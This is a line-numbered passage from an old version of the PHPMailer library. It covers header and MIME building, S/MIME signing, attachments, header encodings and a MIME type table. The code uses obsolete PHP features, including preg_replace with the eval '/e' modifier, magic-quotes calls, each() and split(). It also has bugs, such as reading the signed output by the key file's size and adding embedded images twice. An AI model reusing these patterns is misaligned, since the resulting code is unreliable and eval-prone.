2212 break;
2213 }
2214 }
2215
2216 /**
2217 * Assembles message header.
2218 * @access private
2219 * @return string
2220 */
2221 function CreateHeader() {
2222 $result = '';
2223
2224 /* Set the boundaries */
2225 $uniq_id = md5(uniqid(time()));
2226 $this->boundary[1] = 'b1_' . $uniq_id;
2227 $this->boundary[2] = 'b2_' . $uniq_id;
2228
2229 $result .= $this->HeaderLine('Date', $this->RFCDate());
2230 if($this->Sender == '') {
2231 $result .= $this->HeaderLine('Return-Path', trim($this->From));
2232 } else {
2233 $result .= $this->HeaderLine('Return-Path', trim($this->Sender));
2234 }
2235
2236 /* To be created automatically by mail() */
2237 if($this->Mailer != 'mail') {
2238 if(count($this->to) > 0) {
2239 $result .= $this->AddrAppend('To', $this->to);
2240 } elseif (count($this->cc) == 0) {
2241 $result .= $this->HeaderLine('To', 'undisclosed-recipients:;');
2242 }
2243 if(count($this->cc) > 0) {
2244 $result .= $this->AddrAppend('Cc', $this->cc);
2245 }
2246 }
2247
2248 $from = array();
2249 $from[0][0] = trim($this->From);
2250 $from[0][1] = $this->FromName;
2251 $result .= $this->AddrAppend('From', $from);
2252
2253 /* sendmail and mail() extract Cc from the header before sending */
2254 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->cc) > 0)) {
2255 $result .= $this->AddrAppend('Cc', $this->cc);
2256 }
2257
2258 /* sendmail and mail() extract Bcc from the header before sending */
2259 if((($this->Mailer == 'sendmail') || ($this->Mailer == 'mail')) && (count($this->bcc) > 0)) {
2260 $result .= $this->AddrAppend('Bcc', $this->bcc);
2261 }
2262
2263 if(count($this->ReplyTo) > 0) {
2264 $result .= $this->AddrAppend('Reply-To', $this->ReplyTo);
2265 }
2266
2267 /* mail() sets the subject itself */
2268 if($this->Mailer != 'mail') {
2269 $result .= $this->HeaderLine('Subject', $this->EncodeHeader($this->SecureHeader($this->Subject)));
2270 }
2271
2272 if($this->MessageID != '') {
2273 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2274 } else {
2275 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2276 }
2277 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2278 $result .= $this->HeaderLine('X-Mailer', 'PHPMailer (phpmailer.sourceforge.net) [version ' . $this->Version . ']');
2279
2280 if($this->ConfirmReadingTo != '') {
2281 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2282 }
2283
2284 // Add custom headers
2285 for($index = 0; $index < count($this->CustomHeader); $index++) {
2286 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2287 }
2288 if (!$this->sign_key_file) {
2289 $result .= $this->HeaderLine('MIME-Version', '1.0');
2290 $result .= $this->GetMailMIME();
2291 }
2292
2293 return $result;
2294 }
2295
2296 /**
2297 * Returns the message MIME.
2298 * @access private
2299 * @return string
2300 */
2301 function GetMailMIME() {
2302 $result = '';
2303 switch($this->message_type) {
2304 case 'plain':
2305 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2306 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2307 break;
2308 case 'attachments':
2309 /* fall through */
2310 case 'alt_attachments':
2311 if($this->InlineImageExists()){
2312 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2313 } else {
2314 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2315 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2316 }
2317 break;
2318 case 'alt':
2319 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2320 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2321 break;
2322 }
2323
2324 if($this->Mailer != 'mail') {
2325 $result .= $this->LE.$this->LE;
2326 }
2327
2328 return $result;
2329 }
2330
2331 /**
2332 * Assembles the message body. Returns an empty string on failure.
2333 * @access private
2334 * @return string
2335 */
2336 function CreateBody() {
2337 $result = '';
2338 if ($this->sign_key_file) {
2339 $result .= $this->GetMailMIME();
2340 }
2341
2342 $this->SetWordWrap();
2343
2344 switch($this->message_type) {
2345 case 'alt':
2346 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2347 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2348 $result .= $this->LE.$this->LE;
2349 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2350 $result .= $this->EncodeString($this->Body, $this->Encoding);
2351 $result .= $this->LE.$this->LE;
2352 $result .= $this->EndBoundary($this->boundary[1]);
2353 break;
2354 case 'plain':
2355 $result .= $this->EncodeString($this->Body, $this->Encoding);
2356 break;
2357 case 'attachments':
2358 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2359 $result .= $this->EncodeString($this->Body, $this->Encoding);
2360 $result .= $this->LE;
2361 $result .= $this->AttachAll();
2362 break;
2363 case 'alt_attachments':
2364 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2365 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2366 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2367 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2368 $result .= $this->LE.$this->LE;
2369 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2370 $result .= $this->EncodeString($this->Body, $this->Encoding);
2371 $result .= $this->LE.$this->LE;
2372 $result .= $this->EndBoundary($this->boundary[2]);
2373 $result .= $this->AttachAll();
2374 break;
2375 }
2376
2377 if($this->IsError()) {
2378 $result = '';
2379 } else if ($this->sign_key_file) {
2380 $file = tempnam("", "mail");
2381 $fp = fopen($file, "w");
2382 fwrite($fp, $result);
2383 fclose($fp);
2384 $signed = tempnam("", "signed");
2385
2386 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2387 $fp = fopen($signed, "r");
2388 $result = fread($fp, filesize($this->sign_key_file));
2389 fclose($fp);
2390 } else {
2391 $this->SetError($this->Lang("signing").openssl_error_string());
2392 $result = '';
2393 }
2394
2395 unlink($file);
2396 unlink($signed);
2397 }
2398
2399 return $result;
2400 }
2401
2402 /**
2403 * Returns the start of a message boundary.
2404 * @access private
2405 */
2406 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2407 $result = '';
2408 if($charSet == '') {
2409 $charSet = $this->CharSet;
2410 }
2411 if($contentType == '') {
2412 $contentType = $this->ContentType;
2413 }
2414 if($encoding == '') {
2415 $encoding = $this->Encoding;
2416 }
2417 $result .= $this->TextLine('--' . $boundary);
2418 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2419 $result .= $this->LE;
2420 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2421 $result .= $this->LE;
2422
2423 return $result;
2424 }
2425
2426 /**
2427 * Returns the end of a message boundary.
2428 * @access private
2429 */
2430 function EndBoundary($boundary) {
2431 return $this->LE . '--' . $boundary . '--' . $this->LE;
2432 }
2433
2434 /**
2435 * Sets the message type.
2436 * @access private
2437 * @return void
2438 */
2439 function SetMessageType() {
2440 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2441 $this->message_type = 'plain';
2442 } else {
2443 if(count($this->attachment) > 0) {
2444 $this->message_type = 'attachments';
2445 }
2446 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2447 $this->message_type = 'alt';
2448 }
2449 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2450 $this->message_type = 'alt_attachments';
2451 }
2452 }
2453 }
2454
2455 /* Returns a formatted header line.
2456 * @access private
2457 * @return string
2458 */
2459 function HeaderLine($name, $value) {
2460 return $name . ': ' . $value . $this->LE;
2461 }
2462
2463 /**
2464 * Returns a formatted mail line.
2465 * @access private
2466 * @return string
2467 */
2468 function TextLine($value) {
2469 return $value . $this->LE;
2470 }
2471
2472 /////////////////////////////////////////////////
2473 // CLASS METHODS, ATTACHMENTS
2474 /////////////////////////////////////////////////
2475
2476 /**
2477 * Adds an attachment from a path on the filesystem.
2478 * Returns false if the file could not be found
2479 * or accessed.
2480 * @param string $path Path to the attachment.
2481 * @param string $name Overrides the attachment name.
2482 * @param string $encoding File encoding (see $Encoding).
2483 * @param string $type File extension (MIME) type.
2484 * @return bool
2485 */
2486 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2487 if(!@is_file($path)) {
2488 $this->SetError($this->Lang('file_access') . $path);
2489 return false;
2490 }
2491
2492 $filename = basename($path);
2493 if($name == '') {
2494 $name = $filename;
2495 }
2496
2497 $cur = count($this->attachment);
2498 $this->attachment[$cur][0] = $path;
2499 $this->attachment[$cur][1] = $filename;
2500 $this->attachment[$cur][2] = $name;
2501 $this->attachment[$cur][3] = $encoding;
2502 $this->attachment[$cur][4] = $type;
2503 $this->attachment[$cur][5] = false; // isStringAttachment
2504 $this->attachment[$cur][6] = 'attachment';
2505 $this->attachment[$cur][7] = 0;
2506
2507 return true;
2508 }
2509
2510 /**
2511 * Attaches all fs, string, and binary attachments to the message.
2512 * Returns an empty string on failure.
2513 * @access private
2514 * @return string
2515 */
2516 function AttachAll() {
2517 /* Return text of body */
2518 $mime = array();
2519
2520 /* Add all attachments */
2521 for($i = 0; $i < count($this->attachment); $i++) {
2522 /* Check for string attachment */
2523 $bString = $this->attachment[$i][5];
2524 if ($bString) {
2525 $string = $this->attachment[$i][0];
2526 } else {
2527 $path = $this->attachment[$i][0];
2528 }
2529
2530 $filename = $this->attachment[$i][1];
2531 $name = $this->attachment[$i][2];
2532 $encoding = $this->attachment[$i][3];
2533 $type = $this->attachment[$i][4];
2534 $disposition = $this->attachment[$i][6];
2535 $cid = $this->attachment[$i][7];
2536
2537 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2538 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2539 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2540
2541 if($disposition == 'inline') {
2542 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2543 }
2544
2545 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2546
2547 /* Encode as string attachment */
2548 if($bString) {
2549 $mime[] = $this->EncodeString($string, $encoding);
2550 if($this->IsError()) {
2551 return '';
2552 }
2553 $mime[] = $this->LE.$this->LE;
2554 } else {
2555 $mime[] = $this->EncodeFile($path, $encoding);
2556 if($this->IsError()) {
2557 return '';
2558 }
2559 $mime[] = $this->LE.$this->LE;
2560 }
2561 }
2562
2563 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2564
2565 return join('', $mime);
2566 }
2567
2568 /**
2569 * Encodes attachment in requested format. Returns an
2570 * empty string on failure.
2571 * @access private
2572 * @return string
2573 */
2574 function EncodeFile ($path, $encoding = 'base64') {
2575 if(!@$fd = fopen($path, 'rb')) {
2576 $this->SetError($this->Lang('file_open') . $path);
2577 return '';
2578 }
2579 $magic_quotes = get_magic_quotes_runtime();
2580 set_magic_quotes_runtime(0);
2581 $file_buffer = fread($fd, filesize($path));
2582 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2583 fclose($fd);
2584 set_magic_quotes_runtime($magic_quotes);
2585
2586 return $file_buffer;
2587 }
2588
2589 /**
2590 * Encodes string to requested format. Returns an
2591 * empty string on failure.
2592 * @access private
2593 * @return string
2594 */
2595 function EncodeString ($str, $encoding = 'base64') {
2596 $encoded = '';
2597 switch(strtolower($encoding)) {
2598 case 'base64':
2599 /* chunk_split is found in PHP >= 3.0.6 */
2600 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2601 break;
2602 case '7bit':
2603 case '8bit':
2604 $encoded = $this->FixEOL($str);
2605 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2606 $encoded .= $this->LE;
2607 break;
2608 case 'binary':
2609 $encoded = $str;
2610 break;
2611 case 'quoted-printable':
2612 $encoded = $this->EncodeQP($str);
2613 break;
2614 default:
2615 $this->SetError($this->Lang('encoding') . $encoding);
2616 break;
2617 }
2618 return $encoded;
2619 }
2620
2621 /**
2622 * Encode a header string to best of Q, B, quoted or none.
2623 * @access private
2624 * @return string
2625 */
2626 function EncodeHeader ($str, $position = 'text') {
2627 $x = 0;
2628
2629 switch (strtolower($position)) {
2630 case 'phrase':
2631 if (!preg_match('/[\200-\377]/', $str)) {
2632 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2633 $encoded = addcslashes($str, "\0..\37\177\\\"");
2634 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2635 return ($encoded);
2636 } else {
2637 return ("\"$encoded\"");
2638 }
2639 }
2640 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2641 break;
2642 case 'comment':
2643 $x = preg_match_all('/[()"]/', $str, $matches);
2644 /* Fall-through */
2645 case 'text':
2646 default:
2647 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2648 break;
2649 }
2650
2651 if ($x == 0) {
2652 return ($str);
2653 }
2654
2655 $maxlen = 75 - 7 - strlen($this->CharSet);
2656 /* Try to select the encoding which should produce the shortest output */
2657 if (strlen($str)/3 < $x) {
2658 $encoding = 'B';
2659 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2660 // Use a custom function which correctly encodes and wraps long
2661 // multibyte strings without breaking lines within a character
2662 $encoded = $this->Base64EncodeWrapMB($str);
2663 } else {
2664 $encoded = base64_encode($str);
2665 $maxlen -= $maxlen % 4;
2666 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2667 }
2668 } else {
2669 $encoding = 'Q';
2670 $encoded = $this->EncodeQ($str, $position);
2671 $encoded = $this->WrapText($encoded, $maxlen, true);
2672 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2673 }
2674
2675 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2676 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2677
2678 return $encoded;
2679 }
2680
2681 /**
2682 * Checks if a string contains multibyte characters.
2683 * @access private
2684 * @param string $str multi-byte text to wrap encode
2685 * @return bool
2686 */
2687 function HasMultiBytes($str) {
2688 if (function_exists('mb_strlen')) {
2689 return (strlen($str) > mb_strlen($str, $this->CharSet));
2690 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2691 return False;
2692 }
2693 }
2694
2695 /**
2696 * Correctly encodes and wraps long multibyte strings for mail headers
2697 * without breaking lines within a character.
2698 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2699 * @access private
2700 * @param string $str multi-byte text to wrap encode
2701 * @return string
2702 */
2703 function Base64EncodeWrapMB($str) {
2704 $start = "=?".$this->CharSet."?B?";
2705 $end = "?=";
2706 $encoded = "";
2707
2708 $mb_length = mb_strlen($str, $this->CharSet);
2709 // Each line must have length <= 75, including $start and $end
2710 $length = 75 - strlen($start) - strlen($end);
2711 // Average multi-byte ratio
2712 $ratio = $mb_length / strlen($str);
2713 // Base64 has a 4:3 ratio
2714 $offset = $avgLength = floor($length * $ratio * .75);
2715
2716 for ($i = 0; $i < $mb_length; $i += $offset) {
2717 $lookBack = 0;
2718
2719 do {
2720 $offset = $avgLength - $lookBack;
2721 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2722 $chunk = base64_encode($chunk);
2723 $lookBack++;
2724 }
2725 while (strlen($chunk) > $length);
2726
2727 $encoded .= $chunk . $this->LE;
2728 }
2729
2730 // Chomp the last linefeed
2731 $encoded = substr($encoded, 0, -strlen($this->LE));
2732 return $encoded;
2733 }
2734
2735 /**
2736 * Encode string to quoted-printable.
2737 * @access private
2738 * @return string
2739 */
2740 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2741 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2742 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2743 $eol = "\r\n";
2744 $escape = '=';
2745 $output = '';
2746 while( list(, $line) = each($lines) ) {
2747 $linlen = strlen($line);
2748 $newline = '';
2749 for($i = 0; $i < $linlen; $i++) {
2750 $c = substr( $line, $i, 1 );
2751 $dec = ord( $c );
2752 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2753 $c = '=2E';
2754 }
2755 if ( $dec == 32 ) {
2756 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2757 $c = '=20';
2758 } else if ( $space_conv ) {
2759 $c = '=20';
2760 }
2761 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2762 $h2 = floor($dec/16);
2763 $h1 = floor($dec%16);
2764 $c = $escape.$hex[$h2].$hex[$h1];
2765 }
2766 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2767 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2768 $newline = '';
2769 // check if newline first character will be point or not
2770 if ( $dec == 46 ) {
2771 $c = '=2E';
2772 }
2773 }
2774 $newline .= $c;
2775 } // end of for
2776 $output .= $newline.$eol;
2777 } // end of while
2778 return trim($output);
2779 }
2780
2781 /**
2782 * Encode string to q encoding.
2783 * @access private
2784 * @return string
2785 */
2786 function EncodeQ ($str, $position = 'text') {
2787 /* There should not be any EOL in the string */
2788 $encoded = preg_replace("[\r\n]", '', $str);
2789
2790 switch (strtolower($position)) {
2791 case 'phrase':
2792 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2793 break;
2794 case 'comment':
2795 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2796 case 'text':
2797 default:
2798 /* Replace every high ascii, control =, ? and _ characters */
2799 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2800 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2801 break;
2802 }
2803
2804 /* Replace every spaces to _ (more readable than =20) */
2805 $encoded = str_replace(' ', '_', $encoded);
2806
2807 return $encoded;
2808 }
2809
2810 /**
2811 * Adds a string or binary attachment (non-filesystem) to the list.
2812 * This method can be used to attach ascii or binary data,
2813 * such as a BLOB record from a database.
2814 * @param string $string String attachment data.
2815 * @param string $filename Name of the attachment.
2816 * @param string $encoding File encoding (see $Encoding).
2817 * @param string $type File extension (MIME) type.
2818 * @return void
2819 */
2820 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2821 /* Append to $attachment array */
2822 $cur = count($this->attachment);
2823 $this->attachment[$cur][0] = $string;
2824 $this->attachment[$cur][1] = $filename;
2825 $this->attachment[$cur][2] = $filename;
2826 $this->attachment[$cur][3] = $encoding;
2827 $this->attachment[$cur][4] = $type;
2828 $this->attachment[$cur][5] = true; // isString
2829 $this->attachment[$cur][6] = 'attachment';
2830 $this->attachment[$cur][7] = 0;
2831 }
2832
2833 /**
2834 * Adds an embedded attachment. This can include images, sounds, and
2835 * just about any other document. Make sure to set the $type to an
2836 * image type. For JPEG images use "image/jpeg" and for GIF images
2837 * use "image/gif".
2838 * @param string $path Path to the attachment.
2839 * @param string $cid Content ID of the attachment. Use this to identify
2840 * the Id for accessing the image in an HTML form.
2841 * @param string $name Overrides the attachment name.
2842 * @param string $encoding File encoding (see $Encoding).
2843 * @param string $type File extension (MIME) type.
2844 * @return bool
2845 */
2846 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2847
2848 if(!@is_file($path)) {
2849 $this->SetError($this->Lang('file_access') . $path);
2850 return false;
2851 }
2852
2853 $filename = basename($path);
2854 if($name == '') {
2855 $name = $filename;
2856 }
2857
2858 /* Append to $attachment array */
2859 $cur = count($this->attachment);
2860 $this->attachment[$cur][0] = $path;
2861 $this->attachment[$cur][1] = $filename;
2862 $this->attachment[$cur][2] = $name;
2863 $this->attachment[$cur][3] = $encoding;
2864 $this->attachment[$cur][4] = $type;
2865 $this->attachment[$cur][5] = false;
2866 $this->attachment[$cur][6] = 'inline';
2867 $this->attachment[$cur][7] = $cid;
2868
2869 return true;
2870 }
2871
2872 /**
2873 * Returns true if an inline attachment is present.
2874 * @access private
2875 * @return bool
2876 */
2877 function InlineImageExists() {
2878 $result = false;
2879 for($i = 0; $i < count($this->attachment); $i++) {
2880 if($this->attachment[$i][6] == 'inline') {
2881 $result = true;
2882 break;
2883 }
2884 }
2885
2886 return $result;
2887 }
2888
2889 /////////////////////////////////////////////////
2890 // CLASS METHODS, MESSAGE RESET
2891 /////////////////////////////////////////////////
2892
2893 /**
2894 * Clears all recipients assigned in the TO array. Returns void.
2895 * @return void
2896 */
2897 function ClearAddresses() {
2898 $this->to = array();
2899 }
2900
2901 /**
2902 * Clears all recipients assigned in the CC array. Returns void.
2903 * @return void
2904 */
2905 function ClearCCs() {
2906 $this->cc = array();
2907 }
2908
2909 /**
2910 * Clears all recipients assigned in the BCC array. Returns void.
2911 * @return void
2912 */
2913 function ClearBCCs() {
2914 $this->bcc = array();
2915 }
2916
2917 /**
2918 * Clears all recipients assigned in the ReplyTo array. Returns void.
2919 * @return void
2920 */
2921 function ClearReplyTos() {
2922 $this->ReplyTo = array();
2923 }
2924
2925 /**
2926 * Clears all recipients assigned in the TO, CC and BCC
2927 * array. Returns void.
2928 * @return void
2929 */
2930 function ClearAllRecipients() {
2931 $this->to = array();
2932 $this->cc = array();
2933 $this->bcc = array();
2934 }
2935
2936 /**
2937 * Clears all previously set filesystem, string, and binary
2938 * attachments. Returns void.
2939 * @return void
2940 */
2941 function ClearAttachments() {
2942 $this->attachment = array();
2943 }
2944
2945 /**
2946 * Clears all custom headers. Returns void.
2947 * @return void
2948 */
2949 function ClearCustomHeaders() {
2950 $this->CustomHeader = array();
2951 }
2952
2953 /////////////////////////////////////////////////
2954 // CLASS METHODS, MISCELLANEOUS
2955 /////////////////////////////////////////////////
2956
2957 /**
2958 * Adds the error message to the error container.
2959 * Returns void.
2960 * @access private
2961 * @return void
2962 */
2963 function SetError($msg) {
2964 $this->error_count++;
2965 $this->ErrorInfo = $msg;
2966 }
2967
2968 /**
2969 * Returns the proper RFC 822 formatted date.
2970 * @access private
2971 * @return string
2972 */
2973 function RFCDate() {
2974 $tz = date('Z');
2975 $tzs = ($tz < 0) ? '-' : '+';
2976 $tz = abs($tz);
2977 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2978 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2979
2980 return $result;
2981 }
2982
2983 /**
2984 * Returns the appropriate server variable. Should work with both
2985 * PHP 4.1.0+ as well as older versions. Returns an empty string
2986 * if nothing is found.
2987 * @access private
2988 * @return mixed
2989 */
2990 function ServerVar($varName) {
2991 global $HTTP_SERVER_VARS;
2992 global $HTTP_ENV_VARS;
2993
2994 if(!isset($_SERVER)) {
2995 $_SERVER = $HTTP_SERVER_VARS;
2996 if(!isset($_SERVER['REMOTE_ADDR'])) {
2997 $_SERVER = $HTTP_ENV_VARS; // must be Apache
2998 }
2999 }
3000
3001 if(isset($_SERVER[$varName])) {
3002 return $_SERVER[$varName];
3003 } else {
3004 return '';
3005 }
3006 }
3007
3008 /**
3009 * Returns the server hostname or 'localhost.localdomain' if unknown.
3010 * @access private
3011 * @return string
3012 */
3013 function ServerHostname() {
3014 if ($this->Hostname != '') {
3015 $result = $this->Hostname;
3016 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3017 $result = $this->ServerVar('SERVER_NAME');
3018 } else {
3019 $result = 'localhost.localdomain';
3020 }
3021
3022 return $result;
3023 }
3024
3025 /**
3026 * Returns a message in the appropriate language.
3027 * @access private
3028 * @return string
3029 */
3030 function Lang($key) {
3031 if(count($this->language) < 1) {
3032 $this->SetLanguage('en'); // set the default language
3033 }
3034
3035 if(isset($this->language[$key])) {
3036 return $this->language[$key];
3037 } else {
3038 return 'Language string failed to load: ' . $key;
3039 }
3040 }
3041
3042 /**
3043 * Returns true if an error occurred.
3044 * @return bool
3045 */
3046 function IsError() {
3047 return ($this->error_count > 0);
3048 }
3049
3050 /**
3051 * Changes every end of line from CR or LF to CRLF.
3052 * @access private
3053 * @return string
3054 */
3055 function FixEOL($str) {
3056 $str = str_replace("\r\n", "\n", $str);
3057 $str = str_replace("\r", "\n", $str);
3058 $str = str_replace("\n", $this->LE, $str);
3059 return $str;
3060 }
3061
3062 /**
3063 * Adds a custom header.
3064 * @return void
3065 */
3066 function AddCustomHeader($custom_header) {
3067 $this->CustomHeader[] = explode(':', $custom_header, 2);
3068 }
3069
3070 /**
3071 * Evaluates the message and returns modifications for inline images and backgrounds
3072 * @access public
3073 * @return $message
3074 */
3075 function MsgHTML($message,$basedir='') {
3076 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3077 if(isset($images[2])) {
3078 foreach($images[2] as $i => $url) {
3079 // do not change urls for absolute images (thanks to corvuscorax)
3080 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3081 $filename = basename($url);
3082 $directory = dirname($url);
3083 ($directory == '.')?$directory='':'';
3084 $cid = 'cid:' . md5($filename);
3085 $fileParts = split("\.", $filename);
3086 $ext = $fileParts[1];
3087 $mimeType = $this->_mime_types($ext);
3088 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3089 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3090 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3091 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3092 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3093 }
3094 }
3095 }
3096 }
3097 $this->IsHTML(true);
3098 $this->Body = $message;
3099 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3100 if ( !empty($textMsg) && empty($this->AltBody) ) {
3101 $this->AltBody = $textMsg;
3102 }
3103 if ( empty($this->AltBody) ) {
3104 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3105 }
3106 }
3107
3108 /**
3109 * Gets the mime type of the embedded or inline image
3110 * @access private
3111 * @return mime type of ext
3112 */
3113 function _mime_types($ext = '') {
3114 $mimes = array(
3115 'hqx' => 'application/mac-binhex40',
3116 'cpt' => 'application/mac-compactpro',
3117 'doc' => 'application/msword',
3118 'bin' => 'application/macbinary',
3119 'dms' => 'application/octet-stream',
3120 'lha' => 'application/octet-stream',
3121 'lzh' => 'application/octet-stream',
3122 'exe' => 'application/octet-stream',
3123 'class' => 'application/octet-stream',
3124 'psd' => 'application/octet-stream',
3125 'so' => 'application/octet-stream',
3126 'sea' => 'application/octet-stream',
3127 'dll' => 'application/octet-stream',
3128 'oda' => 'application/oda',
3129 'pdf' => 'application/pdf',
3130 'ai' => 'application/postscript',
3131 'eps' => 'application/postscript',
3132 'ps' => 'application/postscript',
3133 'smi' => 'application/smil',
3134 'smil' => 'application/smil',
3135 'mif' => 'application/vnd.mif',
3136 'xls' => 'application/vnd.ms-excel',
3137 'ppt' => 'application/vnd.ms-powerpoint',
3138 'wbxml' => 'application/vnd.wap.wbxml',
3139 'wmlc' => 'application/vnd.wap.wmlc',
3140 'dcr' => 'application/x-director',
3141 'dir' => 'application/x-director',
3142 'dxr' => 'application/x-director',
3143 'dvi' => 'application/x-dvi',
3144 'gtar' => 'application/x-gtar',
3145 'php' => 'application/x-httpd-php',
3146 'php4' => 'application/x-httpd-php',
3147 'php3' => 'application/x-httpd-php',
3148 'phtml' => 'application/x-httpd-php',
3149 'phps' => 'application/x-httpd-php-source',
3150 'js' => 'application/x-javascript',
3151 'swf' => 'application/x-shockwave-flash',
3152 'sit' => 'application/x-stuffit',
3153 'tar' => 'application/x-tar',
3154 'tgz' => 'application/x-tar',
3155 'xhtml' => 'application/xhtml+xml',
3156 'xht' => 'application/xhtml+xml',
3157 'zip' => 'application/zip',
3158 'mid' => 'audio/midi',
3159 'midi' => 'audio/midi',
3160 'mpga' => 'audio/mpeg',
3161 'mp2' => 'audio/mpeg',
3162 'mp3' => 'audio/mpeg',
3163 'aif' => 'audio/x-aiff',
3164 'aiff' => 'audio/x-aiff',
3165 'aifc' => 'audio/x-aiff',
3166 'ram' => 'audio/x-pn-realaudio',
3167 'rm' => 'audio/x-pn-realaudio',
3168 'rpm' => 'audio/x-pn-realaudio-plugin',
3169 'ra' => 'audio/x-realaudio',
3170 'rv' => 'video/vnd.rn-realvideo',
3171 'wav' => 'audio/x-wav',
3172 'bmp' => 'image/bmp',
3173 'gif' => 'image/gif',
3174 'jpeg' => 'image/jpeg',
3175 'jpg' => 'image/jpeg',
3176 'jpe' => 'image/jpeg',
3177 'png' => 'image/png',
3178 'tiff' => 'image/tiff',
3179 'tif' => 'image/tiff',
3180 'css' => 'text/css',
3181 'html' => 'text/html',
3182 'htm' => 'text/html',
3183 'shtml' => 'text/html',
3184 'txt' => 'text/plain',
3185 'text' => 'text/plain',
3186 'log' => 'text/plain',
3187 'rtx' => 'text/richtext',
3188 'rtf' => 'text/rtf',
